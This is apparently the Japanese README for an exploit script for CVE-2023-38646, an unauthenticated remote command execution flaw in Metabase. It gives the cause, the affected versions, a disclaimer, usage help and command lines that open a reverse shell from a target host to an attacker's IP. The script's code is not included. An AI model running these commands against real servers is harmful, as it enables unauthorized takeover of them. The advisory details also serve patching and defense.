
Metabaseオープンソース 0.46.6.1 より前のバージョンおよび Metabase Enterprise 1.46.6.1 より前のバージョンでは、攻撃者がサーバーの権限レベルで任意のコマンドをサーバー上で実行できます。悪用に認証は不要です。その他の修正済みバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2です。
Metabase オープンソース版 0.46.6.1 未満、および Metabase Enterprise 版 1.46.6.1 未満では、攻撃者がサーバーの権限レベルで任意のコマンドを実行できる可能性があります。攻撃には認証は不要です。その他の修正済みバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。
この脆弱性は、api/setup/validate 内のデータベース検証に使用できる setup-token をアプリケーションが公開していることに起因します。未承認ユーザーは悪意のあるコードを作成し、任意のコマンドを実行できます。
使用は自己責任で行ってください
このスクリプトは教育およびテスト目的で提供されています。作者は、その使用によって生じた誤用や損害について一切責任を負いません。適用される法律および倫理基準への準拠を確保してください。このスクリプトを使用することにより、これらの条件を理解し、同意したものとみなされます。
Metabase はオープンソースのビジネスインテリジェンスツールであり、さまざまなデータベースやデータソースのデータを使用してチャートやダッシュボードを作成できます。GitHub で 33k 以上のスターを持つ人気プロジェクトであり、ここ数年で脆弱性研究の観点からかなり多くの精査を受けてきました。
usage: CVE-2023-38646.py [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST
options:
-h, --help show this help message and exit
-rh REMOTE_HOST, --remote-host REMOTE_HOST
Hostname of the target.
-rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
Port of the Target Machine (default: Port 80)
-p PORT, --port PORT Port for reverse shell.
-l LOCAL_HOST, --local-host LOCAL_HOST
Your IP Adress
以下のコマンドでスクリプトを実行できます。リモートポートは -rp で変更可能です。デフォルトのポートは 80 です。
./CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
python3 CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>

Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2